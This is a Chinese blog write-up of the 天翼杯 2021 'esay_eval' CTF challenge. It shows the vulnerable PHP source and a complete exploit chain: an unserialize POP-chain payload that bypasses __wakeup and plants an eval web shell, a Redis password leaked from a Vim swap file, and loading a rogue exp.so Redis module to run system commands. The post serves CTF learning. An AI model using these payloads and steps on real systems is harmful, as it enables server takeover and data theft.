[天翼杯 2021]esay_eval-----记Redis提权

21 篇文章 0 订阅
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

代码审计

发现eval触发__call即可

在传参的正则匹配里,A,B后的键值必须为1(A : 1或者B : 1)

 这里因为php中对类名的大小不敏感,所以在构造pop链后可以将类名改成小写

此外A类中的wakeup方法只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class a{
    public $code ='eval($_POST["a"]);';
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class b{
    function __destruct(){
        echo $this->a->a();
    }
}
$c=new b();
$c->a=new a();
echo serialize($c)
?>

得到后修改成员数

?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:18:"eval($_POST["a"]);";}} 

 get传参后用蚁剑连接

 打开目录后发现不能访问其他目录但也发现了vim缓存泄露文件

 Vim缓存泄露指的是当用户在Vim编辑器中打开了一个文件,并进行了修改,然后使用了Vim或其他工具关闭了该文件,但Vim缓存中仍然保留着该文件的副本,从而导致该文件中的敏感信息(例如密码、私密密钥等)泄露的漏洞。

默认情况下其格式为:.<filename>.swp

以下是一些常见的Vim插件和它们可能创建的缓存文件格式:

  • cscope: .cscope.out.<pid>
  • ctags: tags
  • git: .git/index.lock
  • LintHub: .conda/locks/python.interpreter.lock (对于conda环境)

 打开swp文件后发现了redis的密码

所以这里可以通过redis提权来实现RCE

Redis 中的 exp.so 文件通常被用作 Redis 提权的一种方式。这个文件是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。

Redis 模块是一种可插拔的扩展,它允许用户在 Redis 服务器中添加新的功能。exp.so 文件是一个 Redis 模块,它提供了一些命令和功能,可以让攻击者在 Redis 服务器中执行任意代码,从而获得服务器的控制权。

在 Redis 提权攻击中,攻击者通常会利用 Redis 的漏洞或者弱密码,获取 Redis 服务器的访问权限。一旦攻击者获得了访问权限,他们就可以上传 exp.so 文件到 Redis 服务器中,并使用 Redis 的 module load 命令加载这个文件。这个文件会在 Redis 服务器中执行任意代码,从而让攻击者获得服务器的控制权

这里下载一个可以getshell的exp.os文件

GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE

下载后上传到当前目录下

 然后再下载一个redis管理插件,这个可以直接在蚁剑的插件市场里下载,也可以在下面这里下载

GitHub - Medicean/AS_Redis: AntSword Redis Plugin, required antSword >= 2.0.2.1(开发版)

下载后

 输入redis的密码

打开命令执行框

然后使用上述的module load加载上传的文件即可提权成功

MODULE LOAD /var/www/html/exp.so

 system.exec "ls /"

system.exec "cat /flagaasdbjanssctf"

总结:

php对类名不敏感

vim缓存泄露,以 swp、swo、swn 等其他格式

Redis提权

以上选自:(3条消息) [天翼杯 2021]esay_eval——Redis(主从复制)提权初见_redis主从提权_Leafzzz__的博客-CSDN博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值